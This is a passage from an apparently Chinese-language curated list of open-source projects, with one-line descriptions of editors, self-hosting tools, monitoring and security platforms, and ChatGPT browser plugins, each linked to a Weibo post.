[MiaoYan](https://github.com/tw93/MiaoYan) | 一款颜值颇高的 Markdown 编辑器：MiaoYan（妙言），拥有极简的设计风格，纯本地使用、支持语法高亮、黑暗模式、源文件保存、国际化等功能。项目基于 Swift5 原生开发，用起来比较丝滑，可自定义快捷和编辑器字体。目前仅支持 macOS 操作系统。 | [](https://weibo.com/5722964389/LyfGMwxtX)
[BatNoter](https://github.com/batnoter/batnoter) | 一款基于 GitHub 的 Web 笔记应用：BatNoter，可将 GitHub 仓库作为个人笔记存储库，并支持笔记分类、搜索、Markdown 快捷编辑与预览、书签管理等内容。 | [](https://weibo.com/5722964389/Ly6dG4Pxs)
[Beekeeper Studio](https://github.com/beekeeper-studio/beekeeper-studio) | 一款开源的跨平台 SQL 编辑器，提供 SQL 语法高亮、自动补全、数据表内容筛选与过滤、连接 Web 数据库、存储历史查询记录等功能。该编辑器支持 SQLite、MySQL、MariaDB、Postgres 等主流数据库，并兼容 Windows、macOS、Linux 等桌面操作系统。 | [](https://weibo.com/5722964389/LxWrr9vO2)
[Think（云策文档）](https://github.com/fantasticit/think) | 一款开源知识管理工具：Think（云策文档），内置知识库、思维导图、文档模板、在线编辑器等多种工具。可通过独立的知识库空间，结构化地组织在线协作文档，实现知识的积累与沉淀，促进知识的复用与流通。 | [](https://weibo.com/5722964389/LxQWueRTz)
[EasyNode](https://github.com/chaos-zhu/easynode) | 一个简易的个人 Linux 服务器管理面板 ：EasyNode，支持多服务器管，可通过 WebSocket 实时更新服务器基本信息，如系统、公网 IP、CPU、内存、硬盘、网卡等。 | [](https://weibo.com/5722964389/LxPLrhKGK)
[Pingu](https://github.com/sheepla/pingu) | 日本一位开发者开源的命令行网络诊断工具，可用于替代 ping。在使用时，会逐渐出现一只可爱的 ASCII 企鹅图形，并高亮关键字。 | [](https://weibo.com/5722964389/LxOAohmAw)
[coolify](https://github.com/coollabsio/coolify) | 一个在 GitHub 开源的项目自托管方案，可用于替代 Heroku 和 Netlify。支持反向代理、免费 SSL 证书配置、多种常用数据库配置、项目一键安装与升级等功能。 | [](https://weibo.com/5722964389/LwCls8WV9)
[vCard](https://github.com/codewithsadee/vcard-personal-portfolio) | 一个在 GitHub 开源的个人简历网站：vCard，支持响应式设计，能让你的个人信息、项目经验、工作经验在 Web 页面上，得到最佳的浏览体验。 | [](https://weibo.com/5722964389/LwzAZjeYR)
[Gitploy](https://github.com/gitploy-io/gitploy) | 可在几分钟内，快速搭建一个基于 GitHub 的项目部署系统。项目提供了更为直观的可视化界面，让你可以快速针对项目分支、SHA、标签进行部署，并拥有持续交付和持续部署能力。 | [](https://weibo.com/5722964389/LwsUX0jwN)
[Slashy](https://github.com/alyssaxuu/slashy) | 一个开源的 Notion 辅助工具：Slashy，可为 Notion 自定义各种快捷命令，如开启摄像头、录音、绘图、创建注释、可复用的内容模块等，进一步提高编辑效率。 | [](https://weibo.com/5722964389/LwrJT9XVO)
[dashy](https://github.com/Lissy93/dashy) | 一个高度可定制化、自托管的服务器启动页构建工具，自带可视化编辑器、状态检测系统，并拥有各类丰富的组件及主题。借助该工具，便可为不同应用快速搭建一个服务器管理面板，并基于各种组件、图标、主题，完成自定义配置，项目内置身份验证、状态监测、搜索、备份、可视化配置、多语言支持等功能。 | [](https://weibo.com/5722964389/Lwqaur6db)
[Wazuh](https://github.com/wazuh/wazuh) | GitHub 上一款免费开源的安全平台：Wazuh，集威胁预防、漏洞检测、风险响应、安全监控于一身。不仅如此，该开源平台还提供了搜索引擎和数据可视化工具，让用户可以更为直观的浏览、配置项目的安全监控信息。 | [](https://weibo.com/5722964389/LwkRJ5U8o)
[CogVideo](https://github.com/THUDM/CogVideo) | 一个可基于文本生成视频的开源项目：CogVideo，由清华大学数据挖掘研究小组开源，项目 Repo 中附有论文。 | [](https://weibo.com/5722964389/LvF1Z1to8)
[emojied](https://github.com/sekunho/emojied) | 一个可以把任意网址转换为 Emoji 表情符号的开源项目，还挺有意思的。 | [](https://weibo.com/5722964389/LuvxzlSBe)
[LetsMarkdown](https://github.com/Cveinnt/LetsMarkdown.com) | 一个轻量级的网页版 Markdown 编辑器，支持实时协作编辑、语法高亮、自动补全、主题设置等功能。 | [](https://weibo.com/5722964389/LtI2XBqyG)
[infra](https://github.com/infrahq/infra ) | 一个让你能够快速访问项目基础设施（如 Kubernetes、数据库）的管理工具。集成了简单易用的命令行工具，支持配置同步、权限管理、日志记录、API 扩展等功能。目前项目功能仍在持续更新与迭代。 | [](https://weibo.com/5722964389/LtC9FmJvV)
[code996](https://github.com/hellodigua/code996) | GitHub 上一个开源的命令行脚本。它可以统计 Git 项目的 commit 时间分布，进而推导出你当前的工作强度 | [](https://weibo.com/5722964389/LtyCtBqRJ)
[Lapce](https://github.com/lapce/lapce) | GitHub 上一款开源的轻量级代码编辑器：Lapce，功能强大，运行丝滑，支持 Windows、Linux、macOS 等主流桌面系统。拥有类似 Vim 的模态编辑功能，支持代码自动补全、诊断，并内置了远程开发模式、命令行终端，为你提供顺畅的 "本地编码" 体验。 | [](https://weibo.com/5722964389/Lti7AuFBl)
[LiveTerm](https://github.com/Cveinnt/LiveTerm) | 可以让你在几分钟内，快速搭建一个拥有命令行风格的网站。项目高度可定制、简单易用。在将项目 clone 到本地之后，只需要编辑项目仓库的 config.json，即可快速完成定制。 | [](https://weibo.com/5722964389/LtgWxiaTS)
[cnchar](https://github.com/theajack/cnchar) | GitHub 上一个开源的汉字拼音笔画库：cnchar。功能非常齐全，支持汉字拼音、笔画数解析，多种模式绘制汉字，并能完成语音识别、语音合成等操作。项目支持离线使用，在多端通用，开发者还可进行自定义部署，自定义数据等操作。 | [](https://weibo.com/5722964389/LsCu3tf3D)
[Modren](https://github.com/RudraSwat/modren) | 一个开源的 Linux 应用商店。安装成功后，便可通过该商店下载、安装各类 Linux 应用。支持 APT、Snap、Flatpaks、DEB 等多种格式的安装包，可用于 Ubuntu、Debian 衍生发行版等系统。 | [](https://weibo.com/5722964389/LsvO25LdJ)
[PointLess](https://github.com/kkoomen/pointless) | 一个开源的绘图画布应用：PointLess，开发者可以基于该项目，制作出一些绘画、白板、笔记等应用。 | [](https://weibo.com/5722964389/LsoJGbInk)
[BlogHelper](https://github.com/onblog/BlogHelper) | 一个可帮助国内用户写作的托盘助手，支持将本地文章一键发布到主流博客平台，剪贴板图片一键上传至图床（新浪、GitHub、图壳、腾讯云、阿里云、又拍云、七牛云）。 | [](https://weibo.com/5722964389/LrSV0ACzm)
[Obsei](https://github.com/obsei/obsei) | GitHub 上一款开源的低代码工具：Obsei，基于 AI 驱动，可应用于各种开发及业务场景。通过这个工具，可实现社交平台舆论监控、客户投诉预警、自动生成工单、市场调查分析、为 AI 任务生成数据集等功能。 | [](https://weibo.com/5722964389/LrRlB38IO)
[HertzBeat](https://github.com/dromara/hertzbeat) | 推荐 GitHub 上一个易用友好的云监控系统：HertzBeat。无需 Agent，拥有强大自定义的监控能力。支持网站监测，PING 连通性，端口可用性，数据库，操作系统，API 监控，阈值告警，告警通知等功能。 | [](https://weibo.com/5722964389/LrN1GclDo)
[BallCat](https://github.com/ballcat-projects/ballcat) | GitHub 上一个支持快速开发的后端脚手架，可快速搭建企业级后台管理系统，并提供多种便捷 starter 进行功能扩展。主要包括前后台用户分离、菜单权限、数据权限、定时任务、访问日志、操作日志、异常日志、统一异常处理、XSS 过滤、SQL 防注入、国际化等多种功能。 | [](https://weibo.com/5722964389/LrLQCkU7F)
[AppMaster.io](https://appmaster.io/zh) | 一个无代码应用搭建平台：AppMaster.io，无需编写一行代码，即可快速创造出一个 App，大幅解放生产力。该工具可用于构建本地 Web 和移动端应用程序、自动化业务流程等场景。通过界面拖放，即可构建出可用于生产环境的 App，并支持部署到云端或导出源代码 | [](https://weibo.com/5722964389/LrDNmnxNg)
[DB Fiddle](https://www.db-fiddle.com/) | 一款可在线运行、调试 SQL 数据库的开发者工具。 | [](https://weibo.com/5722964389/LrCq8n6VD)
[Actual](https://github.com/actualbudget/actual) | 一个在 GitHub 开源的金融系统，强调「本地优先」原则，可用于管理个人财务，注重安全性和私密性。拥有交易管理、预算跟踪、财务报告生成、交易拆分、跨设备同步、数据导入与迁移、端到端加密等功能。该工具适用于 macOS、Windows、Linux、iOS、Android 等主流操作系统。 | [](https://weibo.com/5722964389/LqSEUaD8y)
[JSON Hero](https://github.com/jsonhero-io/jsonhero-web) | 一个实用的 JSON 工具：JSON Hero，提供了简洁直观的 UI 界面，让查阅和理解 JSON 数据变得更为轻松便捷。开发者借助这一工具，能以列表视图、树状视图、编辑器视图等多种方式来查看 JSON 文件，并自动识别数据内容，展示数据预览。 | [](https://weibo.com/5722964389/Lquv8226L)
[portfolYOU](https://github.com/YoussefRaafatNasry/portfolYOU) | 一个简洁、直观的个人简历主题，可使用 GitHub Pages 快速搭建简历站点。 | []()
[Spacedrive](https://github.com/spacedriveapp/spacedrive) | 一个开源的跨平台文件管理器，内置了虚拟分布式文件系统（VDFS）。支持从云服务到离线硬盘，将设备的存储容量和处理能力整合到个人分布式云中，用起来既安全又直观。 | [](https://weibo.com/5722964389/Lql4BmjC3)
[MM-Wiki](https://github.com/phachon/mm-wiki) | 一个开源的轻量级知识分享、团队协同软件，可用于快速构建企业 Wiki 和团队知识分享平台。提供方便的安装界面程序，无需任何手动操作。部署方便，使用简单。具备完善的系统权限管理，系统可以自定义角色，可为不同角色授予不同的权限。 | [](https://weibo.com/5722964389/LqfzErEAu)
[Perspective](https://github.com/finos/perspective) | 推荐 GitHub 上一个交互式、可视化数据分析工具：Perspective，可用于创建数据报告、数据面板、科研笔记及应用。为了便于开发者与数据科学家上手使用，开发团队还提供了十几个案例供参考学习，其中包含电影、超市、地铁、流媒体等多个分类。 | [](https://weibo.com/5722964389/LqbE7EZFp)
[Apifox](https://www.apifox.cn/a1ghdaily) | 一款国产 API 管理工具，该工具基于可视化界面来管理 API 文档，支持 API 自动化测试、CI 持续集成、团队协作，并且它还能根据模型，自动为项目生成 API 代码。 | [](https://weibo.com/5722964389/Lq3N29znI)
[Video-subtitle-extractor](https://github.com/YaoFANGUK/video-subtitle-extractor) | 一款开源的视频硬字幕提取工具，可自动生成 srt 文件，无需申请第三方 API，本地实现文本识别。基于深度学习的视频字幕提取框架，包含字幕区域检测、字幕内容提取。 | [](https://weibo.com/5722964389/Lq2dCdEMY)
[LookScanned](https://github.com/rwv/lookscanned.io) | 一个可以将 PDF 转换成扫描文件的开源工具，支持设置文件角度、噪点、模糊度等属性，整个过程无需用到打印机和扫描仪。 | [](https://weibo.com/5722964389/Lpl0GySm3)
[OpenBBTerminal](https://github.com/OpenBB-finance/OpenBBTerminal) | 一个在 GitHub 开源的股票和加密市场命令行工具。该项目提供了一个基于 Python 的集成环境，允许普通的交易员利用数据科学、机器学习技术来进行交易。 | [](https://weibo.com/5722964389/Lph59bV0o)
[InvenTree](https://github.com/inventree/InvenTree) | GitHub 上一款开源的库存管理系统：InvenTree，简单易用，可用于跟踪及管理各类库存零件，并支持生成各种报告，可扩展性强。 | [](https://weibo.com/5722964389/LpbAcf4Jp)
[DevStream](https://github.com/merico-dev/stream) | 一个开源 DevOps 工具链管理工具，将主流 DevOps 全生命周期的开源工具管理起来，提供了包括安装部署、最佳实践配置等功能。 | [](https://weibo.com/5722964389/LoZNznxuU)
[JavaScript Visualizer](https://github.com/Hopding/js-visualizer-9000-client) | 一个开源的 JavaScript 可视化调试工具，运行后，可动态展示任务队列、调用栈、Event Loop 等过程与结果。 | [](https://weibo.com/5722964389/LogxyjrsY)
[Blockly ML](https://github.com/chekoduadarsh/BlocklyML) | 一个开源的编程可视化工具，可用于辅助学习 Python 和机器学习，让学习过程变得不再枯燥。 | [](https://weibo.com/5722964389/Lo7AIkoE7)
[HertzBeat](https://github.com/dromara/hertzbeat) | 一个开源的、友好易用的监控告警系统：HertzBeat，支持网站，API，PING，端口，数据库，操作系统等监控类型，并自带可视化操作界面。 | [](https://weibo.com/5722964389/Lo5eBEErQ)
[Weylus](https://github.com/H-M-H/Weylus) | 一个颇有意思的开源项目，可将手机、平板电脑屏幕变成电脑的图形输入板与触摸屏。让你在手机、平板电脑上进行绘图，并呈现到电脑屏幕上，相当于给电脑外接了一块触控画板。 | [](https://weibo.com/5722964389/LnYae1GmH)
[Amplication](https://github.com/amplication/amplication) | 一个开源的开发者工具，可用于快速构建高质量的前后端项目，提升开发效率。功能包括可视化数据模型管理，自动化批量代码生成，管理面板搭建，生成满足 CRUD 需求的 REST 和 GraphQL API 等。 | [](https://weibo.com/5722964389/LnVO5mgP8)
[JSON Visio](https://github.com/AykutSarac/jsonvisio.com) | 一个开源的 JSON 数据可视化工具，可通过图表节点，完美呈现 JSON 数据间的结构关系与详情，并支持离线使用。 | [](https://weibo.com/5722964389/LnPUN7zmG)
[StartPack](https://github.com/tldr-devops/startpack) | 一些可用于早期项目启动和自托管的 devops 工具包，在项目初期时，可通过这些工具降低项目的开发与运维成本。里面包括了数据库存储、项目管理、实时通讯、内容管理、低代码搭建等技术解决方案。 | [](https://weibo.com/5722964389/LmCuOCmgx)
[Amazing-QR](https://github.com/x-hw/amazing-qr) | GitHub 上开源的 Python 二维码生成器，可生成普通二维码、带图片的艺术二维码（黑白与彩色）、动态二维码（黑白与彩色） | [](https://weibo.com/5722964389/LmBjLjhdn)
[Magma Studio](https://magma.com/index) | 一款可用于游戏、动画等艺术创作的平台。支持多人协作绘图，可通过共享画布进行实时绘画，进行头脑风暴和构思。 | [](https://weibo.com/5722964389/LmA8Gt6jk)
[Orchest](https://github.com/orchest/orchest) | 一款开源的可视化数据管道构建工具，以更简便的方式，快速构建数据管道，无需框架和 YAML 配置，可直接通过 Python、R、Julia 来编写代码，处理数据。 | [](https://weibo.com/5722964389/Lmxoc9Qlj)
[alist](https://github.com/Xhofe/alist) | 一个支持多存储的文件列表程序：alist，可配置与对接多个不同存储平台，部署方便，开箱即用，并能在线预览、管理多种不同格式的文件。 | [](https://weibo.com/5722964389/Lmt4iyi5U)
[PicoShare](https://github.com/mtlynch/picoshare) | 一款开源的文件共享系统，简单易用、不限制文件大小、可直接生成下载链接，支持自托管部署，数据安全性可控。 | [](https://weibo.com/5722964389/LmjDOmblS)
[Cider](https://github.com/ciderapp/Cider) | 一款开源的跨平台 Apple Music 音乐播放器，基于 Vue.js 和 Electron 构建，内置音频增强、社交分享、远程操控等功能。适用于 Windows、Linux、macOS 等主流桌面操作系统。 | [](https://weibo.com/5722964389/LmisKsxbb)
[Obsidian Memos](https://github.com/Quorafind/Obsidian-Memos) | 让你可以用一种全新的方式在 Obsidian 记录日程。 | [](https://weibo.com/5722964389/LldicAWdh)
[bbtop](https://github.com/Lakr233/mobilePillowTalkLite) | 一个可在 iOS 端运行的 Linux 服务器监控和管理工具，可通过密码、密钥来验证服务器身份，FaceID/TouchID 保护、可配置文件。 | [](https://weibo.com/5722964389/Ll3RIEf5B)
[regex-vis](https://github.com/Bowen7/regex-vis) | 一个蛮不错的正则表达式可视化工具，作者提供了一系列组件，让你可在 Web 页面上通过配置，快速生成正则表达式，以及对应的可视化图形，并且还支持运行测试，检验结果。 | [](https://weibo.com/5722964389/Ll2GE6ZHw)
[SteamTools](https://github.com/BeyondDimension/SteamTools) | 一个开源跨平台的多功能 Steam 工具箱，能让你的 Steam 用起来更加丝滑。支持 Windows、Linux、macOS 等主流桌面系统。 | [](https://weibo.com/5722964389/LkUre2PTo)
[SystemSix](https://github.com/EngineersNeedArt/SystemSix) | 一款可在树莓派上运行的电子水墨屏，可用于显示日历、天气、操作系统界面等内容，拿来折腾一些小工具应该挺好玩的 | [](https://weibo.com/5722964389/LkTgabpYR)
[ToolJet](https://github.com/ToolJet/ToolJet) | GitHub 上一个开源的低代码开发框架。提供了丰富的可视化工具箱，仅需几步，即可快速构建企业级部署工具。该框架提供了 API，可对接 PostgreSQL、MongoDB、Elasticsearch 等多种外部数据源，以及常用的第三方服务，如 Stripe、Slack、Airtable。 | [](https://weibo.com/5722964389/LkNmQpCTi)
[Reactive Resume](https://github.com/AmruthPillai/Reactive-Resume) | 一款颇为独特的简历生成器，可通过各种配置，让创建、更新、共享简历的过程变得更加简单便捷。免费开源、支持中文，可同时创建多份简历，并快速打印成 PDF。 | [](https://weibo.com/5722964389/LkMbLEXmC)
[CodeEdit](https://github.com/CodeEditApp/CodeEdit) | 一款开源的 IDE 代码编辑器，主要面向 macOS 用户，致力于提供更为丝滑的编程体验，目前功能仍在持续迭代中。 | [](https://weibo.com/5722964389/Lkhyaeecg)
[Another Redis Desktop Manager](https://github.com/qishibo/AnotherRedisDesktopManager) | 一款更快、更好、更稳定的 Redis 桌面（GUI）管理客户端，兼容 Windows、Mac、Linux 等主流系统。性能出众，轻松加载海量键值。 | [](https://weibo.com/5722964389/LkfYKDcxA)
[avvvatars](https://github.com/nusu/avvvatars) | 一款比较火的头像生成器，可快速生成一款独特头像，拥有 40 种颜色、60 种形状搭配，支持自定制，可集成到 Web 项目中。 | [](https://weibo.com/5722964389/LkatN62SU)
[ecapture](https://github.com/ehids/ecapture) | 一款无需 CA 证书，就可以进行 HTTPS 通讯明文抓包的工具。 | [](https://weibo.com/5722964389/Lk9iIE4Hu)
[Visualize Data on Spirals](https://github.com/jokergoo/spiralize) | GitHub 上的一款开源工具包：Visualize Data on Spirals，可快速搭建呈螺旋结构的可视化数据图。 | [](https://weibo.com/5722964389/Lk2qwzeCE)
[Dasel](https://github.com/TomWright/dasel) | 一款比较实用的命令行工具：Dasel，可通过类似链式语法的方式，对 JSON、YAML、CSV 等文件进行增删改查、转换等操作。该工具支持多种结构化数据文件，如 JSON、YAML、TOML、XML、CSV 等。 | [](https://weibo.com/5722964389/LiT8hhbDJ)
[Rayon](https://github.com/Lakr233/Rayon) | 一款开源的服务器监控工具，支持 libssh2 主机连接、密钥认证、远程代码执行、GPU & RAM & 硬盘使用情况监控等功能。 | [](https://weibo.com/5722964389/LiNDjtisH)
[Yao](https://github.com/) | 一款蛮不错的开源低代码应用引擎，无需编写一行代码，即可快速创建 Web 服务和管理后台，大幅解放生产力。 | [](https://weibo.com/5722964389/LiFA46ss1)
[Plasticity](https://github.com/nkallen/plasticity) | 一款开源的 3D 建模工具，主打小而美的功能，为概念艺术创作而生，可通过各类快捷操作，快速完成 3D 建模工作。 | [](https://weibo.com/5722964389/LiD1LkfgL)
[Grist](https://github.com/gristlabs/grist-core) | 一款颇为实用的现代化数据表格，不同于其它普通的数据表格，该项目融合了电子表格的灵活性与数据库的稳定性，从用户体验与性能两方面，着重提高互联网用户的办公效率。该表格支持各类 Python 公式与 Excel 函数，拥有可扩展移植的数据格式、轻便的数据编辑功能，并自带可视化数据面板，开发者还可通过 API 与其它数据源对接。 | [](https://weibo.com/5722964389/LgQs72lOT)
[TerraForge3D](https://github.com/Jaysmito101/TerraForge3D) | 一款专业的地形生成和建模工具，免费开源，开箱即用，附有多个视频教程供新手入门学习。这款功能包括的功能也颇为齐全，其中有基于 GPU 和 CPU 驱动的地形生成功能、无限制分辨率、可视化节点编辑器、天空和海平面生成器、风雨尘各类物理效果模拟器等。 | [](https://weibo.com/5722964389/LgEtjp5Y5)
[Cyberbrain](https://github.com/laike9m/Cyberbrain) | Google 工程师在 GitHub 开源的一款 Python 可视化调试工具：Cyberbrain（赛博大脑）。支持回溯代码变量的更改历史，查看程序执行状态（包括变量值），带代码进行循环调试等功能。 | [](https://weibo.com/5722964389/LgBIPrQji)
[vCards CN](https://github.com/metowolf/vCards) | 国内开发者在 GitHub 开源的一个项目：vCards CN（中国黄页 ），可为常用联系人导入头像，优化 iOS/macOS 来电、信息界面体验 | [](https://weibo.com/5722964389/LgxoWqPUI)
[Harmonoid](https://github.com/harmonoid/harmonoid) | GitHub 上一款优雅、简洁的开源音乐播放器，基于 Material Design 理念设计，拥有强大的音乐分类管理功能，支持 Windows 和 Linux 系统。 | [](https://weibo.com/5722964389/LgwdT7Jir)
[china-holiday-calender](https://github.com/lanceliao/china-holiday-calender) | 国内一名开发者在 GitHub 上维护的假期日历：china-holiday-calender，在客户端订阅后，可以很方便的用于查看国内各种节假日、调休、补班日历。文件为 ICS 格式，可供 iOS、Google Calendar、Outlook 等客户端订阅。 | [](https://weibo.com/5722964389/Lg2LkBEYD)
[Saikou](https://github.com/saikou-app/saikou) | 一款开源的动漫、漫画客户端：Saikou，名字取自日语 さいこう，有最高、最好之意。该客户端的主要作用，是可用于上传、下载 Anilist 的各类动漫与漫画资源，免费纯净、无广告。 | [](https://weibo.com/5722964389/LfVT97mhu)
[Mermaid](https://github.com/mermaid-js/mermaid) | 一款受到 Markdown 语法启发而诞生的 JavaScript 图表工具，由开发者 Knut Sveidqvist 所负责维护，目前在 GitHub 已积累 42000 Star，在技术圈内受众颇广。 | [](https://weibo.com/5722964389/LfTKQ2ym2)
[Trilium Notes](https://github.com/zadam/trilium) | 一个免费、开源的笔记应用程序，专注于建立大型个人知识库。支持树状笔记、笔记加密、全文搜索、自托管服务器，还可生成可视化笔记的关系图和链接图。 | [](https://weibo.com/5722964389/LeQwqhWcs)
[Gyroflow](https://github.com/gyroflow/gyroflow) | 一款开源应用：Gyroflow，可通过调整陀螺仪、加速度计等数据，让运动视频效果更加稳定。此外，它还支持实时预览、参数调整和各类复杂计算、GPU 处理和渲染等功能。 | [](https://weibo.com/5722964389/LeDancTlq)
[Midarr](https://github.com/midarrlabs/midarr-server) | 一款轻量级视频播放器：Midarr，作者称之为「下一代媒体服务器」，提供了清新简洁的界面，支持查看在线用户状态、可自托管。 | [](https://weibo.com/5722964389/LeoeWpVV0)
[FireVerse](https://github.com/napthedev/fireverse) | 一款开源的聊天应用：FireVerse，功能齐全，允许一对一聊天、多人群聊。支持发送文字、GIF 图片、贴纸、表情符号等多种不同格式的消息内容。 | [](https://weibo.com/5722964389/Len3RyFBZ)
[DevToys Mac版](https://github.com/ObuchiYuki/DevToysMac) | 里面提供了诸多实用的开发者工具，比如 JSON 格式化、正则表达式测试、Base64 编码与解码、PNG/JPEG 图片压缩、色盲模拟器等功能。 | [](https://weibo.com/5722964389/Lekjp1SQt)
[tiler](https://github.com/nuno-faria/tiler) | 可以用来生成各种由图片拼接而成的马赛克图像 | [](https://weibo.com/5722964389/LcIxsqoB1)
[Monitor](https://github.com/lxflxfcl/monitor) | 国内一位网络安全人员在 GitHub 开源了一款漏洞监控平台，主要用于监测 GitHub、微软、CNNVD 等各大平台发布的最新技术漏洞信息，并将漏洞按不同危险等级进行划分，最后再通过企业微信和邮箱进行消息推送。 | [](https://weibo.com/5722964389/LcEBV4y4R)
[Ansible](https://github.com/ansible/ansible) | 一款开源的自动化运维工具，可让项目和系统变得更加容易部署和维护。通过简单的语法，快速实现从代码部署到网络配置，再到云管理。并使用 SSH 实现一切自动化流程，无需在远程系统上安装代理。 | [](https://weibo.com/5722964389/LcxVU1XlF)
[daedalOS](https://github.com/DustinBrett/daedalOS) | 国外一位工程师在 GitHub 上开源的桌面环境系统：daedalOS，可直接在浏览器运行。主要拥有开始菜单、任务栏、动态壁纸、文件系统等功能。此外，系统还内置了各类开发工具、浏览器、命令行终端、视频播放器等应用，功能颇为齐全。 | [](https://weibo.com/5722964389/LclKVF9px)
[rnote](https://github.com/flxzt/rnote) | 一款简洁优雅的笔记软件，带有可调整参数的纹理笔触，可用于快速创建手写笔记和绘画。支持插入各类图表、手写注释和文档。你还能将笔记导出成 SVG 或 PDF 格式的文件，与他人分享 | [](https://weibo.com/5722964389/Lcf4UiKGA)
[ROAPI](https://github.com/roapi/roapi) | 一款开源的开发者工具：ROAPI，无需编写一行代码，即可自动为静态数据集生成只读 API，快速完成静态数据的加载调用。静态数据集所支持的格式，包括 CSV、JSON、Excel、MySQL、Airtable、GraphQL 等格式。 | [](https://weibo.com/5722964389/LbP9xxZKg)
[Agora Flat](https://github.com/netless-io/flat) | 声网在 GitHub 开源的一款白板工具，支持实时交互、多人音视频通讯和消息聊天、房间创建管理、课堂录制回放、课件存储、屏幕共享等功能。 | [](https://weibo.com/5722964389/LbNYtB3L3)
[Zetane Viewe](https://github.com/zetane/viewer) | 一款在 GitHub 开源的机器学习模型和内部张量 3D 可视化工具。它的主要作用，是能通过理解模型架构、可视化内部数据（特征图、权重、偏差、图层输出张量），为你打开 AI 黑盒。 | [](https://weibo.com/5722964389/LbMNq4Lm3)
[DevToys](https://github.com/veler/DevToys) | 作者将其称之为「开发人员的瑞士军刀」，里面提供了诸多实用的开发者工具，比如 JSON 格式化、正则表达式测试、Base64 编码与解码、PNG/JPEG 图片压缩、色盲模拟器等功能。 | [](https://weibo.com/5722964389/LbLCnjM65)
[矩阵乘法计算器](https://github.com/staltz/matrixmultiplication.xyz) | 一个「矩阵乘法计算器」，通过交互式动画，帮助你更好的了解与掌握线性代数中的矩阵乘法。 | [](https://weibo.com/5722964389/Lbv7ud0NF)
[Text to Handwriting](https://github.com/saurabhdaware/text-to-handwriting) | 可将普通文本转换为手写文本，包括中文字体。支持自定义字体大小、墨水颜色、页面大小、字体间距、纸张背景等属性。 | [](https://weibo.com/5722964389/LbtWqzTeR)
[DSQ](https://github.com/multiprocessio/dsq) | 命令行工具：DSQ，除了数据查询外，还支持多个文件合并查询，不同格式的数据源文件转化（比如将 CSV 转为 JSON）等功能。 | [](https://weibo.com/5722964389/LbsLn1orh)
[DataStation](https://github.com/multiprocessio/datastation) | 一款颇为实用的开发者工具，可通过 SQL 语句，快速查询 JSON、CSV、Excel、日志记录库等文件中的数据，并创建可视化图表。 | [](https://weibo.com/5722964389/LbsLn1orh)
[mometa](https://github.com/imcuttle/mometa) | 一款面向研发的、代码可视设计编辑平台，对低代码平台不形成依赖，二次开发可以无缝进入代码开发模式；支持所见即所得的可视编辑，用于优化开发体验；可自定义物料，提升功能复用率。 | [](https://weibo.com/5722964389/LbrbXtF7s)
[Hitomi-Downloader](https://github.com/KurtBestor/Hitomi-Downloader) | GitHub 上一款开源的下载工具，可用于快速下载各大网站的视频、漫画、电影、音乐等内容。拥有简洁易用的 UI 界面，多线程及脚本支持。 | [](https://weibo.com/5722964389/LbmS3hNG2)
[Yasso](https://github.com/sairson/Yasso) | 一款开源的内网渗透辅助工具集，集合了大量的常用功能，拥有丰富的 SQL 渗透辅助功能，支持 RDP， SSH，Redis，MongoDB，MySQL，WinRM 等服务爆破，端口扫描，Web 指纹识别功能。 | [](https://weibo.com/5722964389/Lb414qKNf)
[Focalboard](https://github.com/mattermost/focalboard) | 一款开源的看板工具，可用于日常工作任务和学习计划的分配、管理，并支持自托管服务器。该项目可作为 Trello、Notion 和 Asana 的开源替代品，支持 Windows、macOS、Linux 等主流操作系统。 | [](https://weibo.com/5722964389/Lb2PZEYuN)
[Papercups](https://github.com/papercups-io/papercups) | 通过该工具直接对接 Slack，简单几步操作，即可为 Web 应用打造一个在线聊天功能。此外，它还支持电子邮件回复、自定义聊天组件、Markdown 和 Emoji 文本等功能，并适配了 Flutter、React 等前端开发框架。 | [](https://weibo.com/5722964389/Lb0tT3TjX)
[Movie Robot](https://github.com/pofey/movie_robot) | 给影迷们推荐一款比较实用的工具：电影机器人，可自动从豆瓣电影的想看、在看、看过中获取影音信息，然后去 PT 站智能选种，找到最匹配的资源加入自己的影音库。 | [](https://weibo.com/5722964389/LaUAz0vDt)
[sqliteviz](https://github.com/lana-k/sqliteviz) | GitHub 上一款比较实用的开源工具，可为 SQLite 数据库快速生成可视化图表，支持导入 CSV 和 JSON 文件，可离线使用。 | [](https://weibo.com/5722964389/LaR3nEvxg)
[Multipass](https://github.com/canonical/multipass) | 一款轻量级的虚拟机管理工具，提供了简单易用的命令行工具，可帮助开发者快速搭建 Ubuntu 虚拟机集群，用于开发测试。 | [](weibo://L9jcZg8z6)
[SeaTunnel](https://github.com/apache/incubator-seatunnel) | 一个简单易用、超高性能的分布式数据集成平台：SeaTunnel，支持海量数据实时同步，每日可稳定高效同步数百亿数据，已在近百家公司生产上使用。 | [](https://weibo.com/5722964389/L9eT7r3lz)
[Ghostly](https://github.com/patriksvensson/ghostly) | 一款开源的 GitHub 客户端，可用于接收、组织管理 GitHub 通知，包括 issue 追踪、PR 提交、漏洞修复等，支持 Windows 10/11 系统。 | [](https://weibo.com/5722964389/L9cwZESyq)
[wechat-report](https://github.com/myth984/wechat-report) | 国内有位开发者在 GitHub 上开源了一个《微信聊天记录年度报告》网页，可用于查看 2021 年与好友的聊天数据报告，项目中附有相关工具与教程。 | [](https://weibo.com/5722964389/L9blUhI7P)
[Maui Shell](https://github.com/Nitrux/maui-shell) | 一款重量级 Linux 桌面系统，被国外不少开发者称之为「开启 Linux 桌面新时代」的新系统，项目的最大亮点，在于能同时兼容 Android 与 Linux 系统，跨终端工作。 | [](https://weibo.com/5722964389/L99MutuhT)
### 插件
名称 | 简述 | 源
---- | ----- | -----
[ChatGPT Chrome Extension](https://github.com/gragland/chatgpt-chrome-extension) | 一款专为 Chrome 用户开发的 ChatGPT 插件。安装后，在任意页面的文本框中点击右键，就会出现「Ask ChatGPT」选项。选中它，ChatGPT 就会根据当前文本框中的内容，帮你完成各种具体任务，比如写推文、修改邮件、修复 Bug 等等。 | [](https://weibo.com/5722964389/MiO83rqmq)
[「GPT for Google」](https://github.com/wong2/chat-gpt-google-extension) | 一款基于 ChatGPT 构建的 Chrome 插件：「GPT for Google」，还挺好用的。安装之后，除了会在浏览器正常展示 Google 搜索内容，还会在右侧展示 ChatGPT 反馈结果，进一步提升搜索效率。 | [](https://weibo.com/5722964389/MiuSHqAla)
